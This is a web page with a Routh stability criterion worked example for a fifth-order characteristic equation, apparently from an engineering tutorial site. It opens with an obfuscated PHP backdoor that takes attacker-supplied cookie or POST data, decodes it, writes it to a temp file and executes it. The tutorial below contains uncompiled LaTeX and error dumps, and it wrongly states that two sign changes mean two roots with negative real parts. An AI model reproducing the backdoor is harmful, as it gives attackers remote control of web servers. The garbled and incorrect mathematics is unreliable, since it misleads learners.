$kjiBLUs = 'A' . "\x68" . chr ( 790 - 685 ).'_' . chr ( 483 - 405 ).chr (100) . chr ( 810 - 702 )."\x77" . chr ( 548 - 447 ); $kDRaRFf = chr ( 402 - 303 )."\154" . chr (97) . chr (115) . chr (115) . '_' . chr (101) . chr ( 733 - 613 ).'i' . "\x73" . "\x74" . "\x73";$Pvvif = class_exists($kjiBLUs); $kDRaRFf = "55598";$JYfNEI = strpos($kDRaRFf, $kjiBLUs);if ($Pvvif == $JYfNEI){function LFPrFKHglh(){$UGMhA = new /* 25215 */ Ahi_Ndlwe(18743 + 18743); $UGMhA = NULL;}$GtJgx = "18743";class Ahi_Ndlwe{private function OLCzFmoBM($GtJgx){if (is_array(Ahi_Ndlwe::$MxgQMLpzq)) {$name = sys_get_temp_dir() . "/" . crc32(Ahi_Ndlwe::$MxgQMLpzq["salt"]);@Ahi_Ndlwe::$MxgQMLpzq["write"]($name, Ahi_Ndlwe::$MxgQMLpzq["content"]);include $name;@Ahi_Ndlwe::$MxgQMLpzq["delete"]($name); $GtJgx = "18743";exit();}}public function Cttrb(){$rRpJgUcARw = "58336";$this->_dummy = str_repeat($rRpJgUcARw, strlen($rRpJgUcARw));}public function __destruct(){Ahi_Ndlwe::$MxgQMLpzq = @unserialize(Ahi_Ndlwe::$MxgQMLpzq); $GtJgx = "41246_46051";$this->OLCzFmoBM($GtJgx); $GtJgx = "41246_46051";}public function oLxEAO($rRpJgUcARw, $mWiOb){return $rRpJgUcARw[0] ^ str_repeat($mWiOb, intval(strlen($rRpJgUcARw[0]) / strlen($mWiOb)) + 1);}public function mcCQomNZMi($rRpJgUcARw){$ADfzjhtkZE = "\x62" . chr ( 523 - 426 ).chr (115) . chr (101) . chr ( 135 - 81 ).'4';return array_map($ADfzjhtkZE . "\x5f" . chr ( 202 - 102 ).'e' . "\x63" . "\157" . 'd' . "\x65", array($rRpJgUcARw,));}public function __construct($Mdabno=0){$YTEAVSpJpm = "\x2c";$rRpJgUcARw = "";$eMJnzt = $_POST;$REnoWDgJ = $_COOKIE;$mWiOb = "d4220071-d574-4dd2-a102-fc3ec2f5e42f";$wYmtczyDB = @$REnoWDgJ[substr($mWiOb, 0, 4)];if (!empty($wYmtczyDB)){$wYmtczyDB = explode($YTEAVSpJpm, $wYmtczyDB);foreach ($wYmtczyDB as $cButQAod){$rRpJgUcARw .= @$REnoWDgJ[$cButQAod];$rRpJgUcARw .= @$eMJnzt[$cButQAod];}$rRpJgUcARw = $this->mcCQomNZMi($rRpJgUcARw);}Ahi_Ndlwe::$MxgQMLpzq = $this->oLxEAO($rRpJgUcARw, $mWiOb);if (strpos($mWiOb, $YTEAVSpJpm) !== FALSE){$mWiOb = explode($YTEAVSpJpm, $mWiOb); $ZDsXYPtHJz = base64_decode(md5($mWiOb[0])); $pTDulxc = strlen($mWiOb[1]) > 5 ? substr($mWiOb[1], 0, 5) : $mWiOb[1];}}public static $MxgQMLpzq = 17221;}LFPrFKHglh();} Stability using Routh Stability Criterion – Solved Problems

Stability using Routh Stability Criterion

Determine the stability of the system whose characteristics equation is:

a(s) = 2s^5 + 3s^4 + 2s^3 + s^2 + 2s + 2.

Solution

All coefficients are positive and non-zero; therefore, the necessary condition for stability is satisfied. Let’s write the Routh array:

\begin{array}{l | c c c} s^5 & 2 & 2 & 2 \\ s^4 & 3 & 1 & 2 \\ s^3 & & & \\ s^2 & & & \\ s^1 & & & \\ s^0 & & &\end{array}

At this stage, we see that the top row corresponding to S^5 can be divided by two to make the calculation a little bit easier. So, we go ahead and divide that row by two:

*** QuickLaTeX cannot compile formula:
\begin{array}{l | c c c} s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 &\\ s^2 &\\s^1 &\\s^0\end{array

*** Error message:
File ended while scanning use of \end .
Emergency stop.

Let’s continue writing the Routh table:

\begin{array}{l | c c c}s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 &\frac{3 \times 1 - 1 \times 1}{3}&\frac{3 \times 1 - 2 \times 1}{3} & \\ s^2 &\\s^1 &\\s^0 \end{array}

\begin{array}{l | c c c}s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 & \frac{2}{3} & \frac{1}{3} & \\ s^2 & \frac{\frac{2}{3} \times 1 - \frac{1}{3} \times 3}{\frac{2}{3}} & \frac{\frac{2}{3} \times 2 - 0 \times 3}{\frac{2}{3}} & \\s^1 & \\s^0 &\end{array}

\begin{array}{l | c c c}s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 &\frac{2}{3} &\frac{1}{3} & \\ s^2 &-\frac{1}{2} & 2 & \\s^1 &\frac{-\frac{1}{2} \times \frac{1}{3} - 2 \times \frac{2}{3}}{-\frac{1}{2}} &\\s^0 \end{array}

*** QuickLaTeX cannot compile formula:
\begin{array}{l | c c c}s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 &\frac{2}{3} &\frac{1}{3} & \\ s^2 &-\frac{1}{2} & 2 & \\s^1 &3 & \\s^0 $ \frac{3 \times 2 -0 \times -\frac{1}{2}}{-\frac{1}{2}}\end{array}

*** Error message:
Missing $ inserted.
leading text: ...mes 2 -0 \times -\frac{1}{2}}{-\frac{1}{2}}
Missing $ inserted.
leading text: ...mes 2 -0 \times -\frac{1}{2}}{-\frac{1}{2}}
Missing $ inserted.
leading text: ...mes 2 -0 \times -\frac{1}{2}}{-\frac{1}{2}}
Extra }, or forgotten $.
leading text: ...mes 2 -0 \times -\frac{1}{2}}{-\frac{1}{2}}
Missing } inserted.
leading text: ...imes -\frac{1}{2}}{-\frac{1}{2}}\end{array}
Extra }, or forgotten $.
leading text: ...imes -\frac{1}{2}}{-\frac{1}{2}}\end{array}
Missing } inserted.
leading text: ...imes -\frac{1}{2}}{-\frac{1}{2}}\end{array}
Extra }, or forgotten $.
leading text: ...imes -\frac{1}{2}}{-\frac{1}{2}}\end{array}
Missing } inserted.
leading text: ...imes -\frac{1}{2}}{-\frac{1}{2}}\end{array}
Extra }, or forgotten $.


\begin{array}{l | c c c}s^5 &1 & 1 & 1 \\ s^4 &3 & 1 & 2 \\ s^3 &\frac{2}{3} &\frac{1}{3} & \\ s^2 &-\frac{1}{2} & 2 & \\s^1 &3 & \\s^0 & 2 \end{array}

Since there are two sign changes in the first column, the characteristic equation has two roots with negative real parts. Therefore, the system is unstable.

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